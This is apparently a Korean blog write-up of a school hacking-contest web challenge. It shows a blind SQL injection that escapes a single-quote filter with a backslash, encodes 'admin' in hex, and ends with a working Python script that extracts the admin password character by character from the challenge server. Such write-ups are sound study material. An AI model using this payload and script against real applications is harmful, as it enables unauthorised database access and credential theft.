본문 바로가기

교내해킹대회/Web

blind_sqli

blind_sqli.py
0.00MB

문제파일

 

메인화면
문제 소스코드

admin의 password를 알아내야한다

'(싱글쿼터)가 필터링 되어있다 나머지는 문제와 상관없는 데이터베이스의 접근을 막기위해 존재

GET방식으로 id와 pw파라미터를 쓸 수 있다

싱글 쿼터를 써서 필터링 된 모습

 

id파라미터에 \를 전달하면

select id from user where id='\' and pw =' or 1=1#'

->

select id from user where id='\' and pw =' or 1=1#'

이렇게 되어 admin으로 접근 가능

이제 admin의 pw를 구해야한다

id가 admin이고 pw의 몇번째 자리가 무엇인지를 쿼리를 통해 전달해서

blind injction으로 한글자씩 구한다

id를 admin으로 고정해야하지만 싱글쿼가 필터링 되어있다

하지만 mysql은 0x61 ='a' 처럼 hex값으로 문자를 type casting이 가능

pw를 한글자씩 구하기 위해 pw의 길이를 알아낸다

 

admin의 pw는 24자

 

 

admin의 pw의 첫글자는 'd' 

mysql은 대소문자 구분을 하지 않기 때문에 D라고 본다

이런식으로 하나씩 구하는데는 너무 오래 걸리기 때문에 python requests모듈을 이용한다

 

 

 

exploit_code

import requests

url = "http://34.64.182.234:5003/"

session = requests.Session()

pw=''

for i in range(1,25):
    for j in range(33,128):
        params = {
            'id': '\\',
            'pw': 'or id=0x61646d696e and substr(pw,{},1)={}#'.format(i,hex(j))
        }
        req=session.get(url=url,params=params)
        if 'admin' in req.text:
            pw += chr(j)
            print(chr(j)+"is correct!!!!!!!!!!")
            break
        print(chr(j)+"is not")

print("pw is "+pw)

 

'교내해킹대회 > Web' 카테고리의 다른 글

Injection  (0) 2020.05.14
투명망토  (0) 2020.05.14
Escape-Room  (0) 2020.05.10
Captcha Challenge  (0) 2020.05.09
File upload 문제 설계 과정  (0) 2020.04.30